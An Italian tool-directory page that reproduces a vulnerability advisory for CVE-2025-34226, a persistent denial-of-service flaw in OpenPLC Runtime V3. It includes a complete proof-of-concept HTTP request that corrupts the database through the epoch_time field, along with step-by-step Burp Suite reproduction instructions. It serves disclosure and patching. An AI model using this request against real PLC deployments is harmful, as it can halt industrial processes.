Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-34226 — OpenPLC Runtime soffre di una vulnerabilità di denial of service (DoS) persistente nell'endpoint /upload-program-action. | Kitploit
Strumenti/GitHubGitHub/eyodav/cve-2025-34226
Analisi delle VulnerabilitàExploitSicurezza SCADA/ICSSfruttamento di Applicazioni WebConfigurazione ErrataSicurezza dei Database
GitHubeyodav/cve-2025-34226

CVE-2025-34226

OpenPLC Runtime soffre di una vulnerabilità di denial of service (DoS) persistente nell'endpoint /upload-program-action.

Vedi Repository
10 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-34226: DoS persistente nel runtime OpenPLC

Panoramica della vulnerabilità

CampoValore
ID CVECVE-2025-34226
InteressaOpenPLC Runtime V3
Corretto in(commit) 095ee09623dd229b64ad3a1db38a901a3772f6fc
GravitàAlta
CVSS 4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (Alta)
CWECWE-664 Controllo improprio di una risorsa attraverso il suo ciclo di vita, CWE-20 Validazione dell'input impropria

Riepilogo esecutivo

OpenPLC Runtime soffre di una vulnerabilità di denial of service (DoS) persistente nell'endpoint /upload-program-action.
Modificando il parametro epoch_time durante il caricamento di un programma, un utente autenticato con privilegi bassi può corrompere il database backend.
Questa corruzione inizialmente disabilita pagine critiche e, infine, impedisce l'avvio dell'intero runtime, rendendo di fatto l'applicazione inutilizzabile fino a una reinstallazione.


Impatto sulla sicurezza

  • DoS persistente – Una volta attivato, il sistema non può riprendersi senza una reinstallazione completa.
  • Corruzione del database – Lo sfruttamento introduce valori non validi nel database SQLite di OpenPLC, compromettendo lo stato del runtime.
  • Interruzione operativa – In contesti ICS/OT, ciò potrebbe causare tempi di inattività dei processi gestiti dai PLC.
  • Bypass delle validazioni – Lo sfruttamento aggira la validazione dell'input, dimostrando la mancanza di sanitizzazione per parametri critici.

Dettagli tecnici

Versioni interessate

  • Versioni vulnerabili: OpenPLC Runtime ≤ v3 (non l'ultima versione)
  • Versione corretta: risolta dal commit 095ee09623dd229b64ad3a1db38a901a3772f6fc

Vettore d'attacco

L'endpoint /upload-program-action accetta un campo epoch_time che viene scritto direttamente nel database senza validazione.
Quando questo campo viene impostato su un valore manipolato o senza senso (ad es. 1758627838 o dati malformati), OpenPLC memorizza uno stato incoerente.
Al ricaricamento o riavvio del runtime, l'applicazione interroga la riga corrotta e incontra un oggetto NoneType → crash fatale (TypeError: 'NoneType' object is not subscriptable).


Prova di concetto

PoC 1: Richiesta di caricamento dannosa (Burp Suite Repeater)

root@kitploit:~
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]

------BOUNDARY
Content-Disposition: form-data; name="prog_name"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain

PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"

"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--

Passaggi per la riproduzione

  1. Apri Burpsuite
  2. Apri il browser di Burpsuite
  3. Vai sull'interfaccia OpenPLC
  4. Autenticati con un account a privilegi bassi.
  5. Carica un programma tramite /programs
  6. Scegli un nome casuale.
  7. Attiva il proxy di Burpsuite
  8. Invia la richiesta a Repeater
  9. Modifica la sezione epoch_time e sostituiscila con un carattere casuale come "L" al posto dell'epoch_time originale
  10. Invia la nuova richiesta manipolata.
  11. Osserva /programs: vedrai che non funziona più
  12. Dopodiché, a volte, quando OpenPLC viene riavviato, il runtime non si avvia ed è impossibile riavviare OpenPLC dopo questa operazione.

Azioni immediate

  1. Aggiorna immediatamente OpenPLC V3

Riferimenti

  • Patch/Note di rilascio: [Link alla versione ufficiale più recente]
  • Storico vulnerabilità: [Link allo storico vulnerabilità]

Crediti

Scoperta da: Eyodav

Scarica lo strumento